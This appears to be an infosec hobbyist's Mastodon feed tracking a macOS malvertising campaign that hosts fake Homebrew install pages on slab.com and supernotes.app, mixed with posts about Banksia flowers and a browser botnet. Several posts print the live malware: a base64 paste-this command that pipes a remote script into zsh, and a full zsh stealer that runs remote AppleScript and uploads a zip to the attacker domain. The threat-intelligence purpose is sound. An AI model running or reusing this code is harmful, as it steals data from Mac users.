144 Followers
215 Following
209 Posts

Developer at a cybersecurity startup.

Infosec hobyist, hope that one day I'll actually be able to contribute.

Rarely complete projects (ask me about my honeypot, or pippin)

Twitterhttps://twitter.com/fauxeccles
GHhttps://github.com/faux-eccles
pronounshe/him

RE: https://mastodon.social/@glyph/116467342354581349

Slightly different context but I've been trying to be mindful of this language in design/panning meetings as more often than not it's a sign I'm making assumptions about the thing being spoken about, and underselling a topic I don't fully understand.

RE: https://infosec.exchange/@eccles/116294997807124774

Oh rad this has the same MO as what I found, possibly the same campaign. Didn't even occur to me that it could be classified as *fix.

Though the claude version is doing a full domain copy, rather than making use of legitimate doc services

https://pushsecurity.com/blog/installfix/

Oh man, all my angst, & look what I spotted when I checked the mail. I actually have lots of these, Banksia Spinulosa (Hairpin Banksia), but few have such red hairpins. It was so lovely I had to share! Ain't it a beaut? 😁

No scent, but an important local wildlife food source. I'm on Darug/Gundungurra country (spellings vary), referred to here:

https://fieldofmar-e.schools.nsw.gov.au/fact-sheets/plants/hairpin-banksia-fact-sheet

#BloomScrolling
#BlueMountains
#Banksia

New page on slab, the copy paste code has changed though

https://urlscan.io/result/019d3c7f-457e-7030-8384-929181e511ed/

'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vaGVseGlhZ2VudC5jb20vY3VybC85MWMxMWQ0YzM1NmZkNzU0NzgwYzBhNWI4YzU4YjUwMjRlYThlYTFiMzdiYjg1ZGNhYTlmZWIwM2UwM2FkZDg3fHpzaA=='

piped into zsh.

Leads to https://urlscan.io/result/019d3c8c-9db9-77de-8159-d0d05b0ca1bb/ which appears to have some user-agent filtering, as with curl with get a similar second stage payload as before

new domain ioc helxiagent[.]com can't find anything about it though, appears to be heavily used in obfuscating the final drop

#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="helxiagent.com"
local token="91c11d4c356fd754780c0a5b8c58b5024ea8ea1b37bb85dcaa9feb03e03add87"
local api_key="5190ef1733183a0dc63fb623357f56d6"
local file="/tmp/osalogging.zip"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
if [[ ! -f "$file" || ! -s "$file" ]]; then
return 1
fi
local CHUNK_SIZE=$((10 * 1024 * 1024))
local MAX_RETRIES=8
local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
local total_size
total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
return 1
fi
local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
local i=0
while (( i < total_chunks )); do
local offset=$((i * CHUNK_SIZE))
local chunk_size=$CHUNK_SIZE
(( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
local success=0
local attempt=1
while (( attempt <= MAX_RETRIES && success == 0 )); do
http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
curl -k -s -X PUT \
--data-binary @- \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
--max-time 180 \
-o /dev/null \
-w "%{http_code}" \
"http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
curl_status=$?
if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
success=1
else
((attempt++))
sleep $((3 + attempt * 2))
fi
done
if (( success == 0 )); then
return 1
fi
((i++))
done
rm -f "$file"
return 0
}
if daemon_function "$@" & then
exit 0
else
exit 1
fi
macosdeveloper.slab.com - urlscan.io

urlscan.io - Website scanner for suspicious and malicious URLs

CloudFlare has already taken down the loader URL so at least there's that

Which appears to have been authored today using the same account name on a different service Mac Dev. The too platforms have in common are they make it hard to report accounts/published pages.

So new in fact the google ads transparency doesn't have this ad listed, nor any others for this domain

httpX://share.supernotes[.]app/scene+lecture+tooth+pupil/?gad_source=1&gad_campaignid=23690246307&gbraid=0AAAAADvuqr5J4xYKwmF7fO2d1qw_v-Lbe&gclid=CjwKCAjwspPOBhB9EiwATFbi5GITIyzMjnVnSz_HXDXqQECD00FGVRLHYJ1W6USLzFxmEp2G3W9QchoCvm4QAvD_BwE

Good news, the original ad was taken down, bad news a new app with the same thing has popped up. Moved from slab[.]com to supernotes[.]app they clearly like these services that allow nice formatting under a trusted domain

In case anyone was wondering, #mellowtel still seems to be processing requests. If it's still via the browser botnet still I'm not sure, but I assume so.

Some queries I've noted,

- circumventing query restrictions for searching government business dbs
- loading Instagram pages
- using the perplexity API for determing product recommendations for various questions
- performing Google searches and extracting the AI result

https://arstechnica.com/security/2025/07/browser-extensions-turn-nearly-1-million-browsers-into-website-scraping-bots/

Seems like slab has been used a bit here and there for this campaign using various compromised ads accounts
https://adstransparency.google.com/?region=anywhere&platform=SEARCH&query=Homebrew+for+Mac&domain=slab.com

Huge amount of different ads accounts, all following similar approaches, oldest ad might be March 22nd

Interesting addendum about the advertiser https://adstransparency.google.com/advertiser/AR08935176312499208193?origin=ata&region=anywhere

I suspect it could be compromised ads account, that being said I can't actually find this ad listed in the transparency page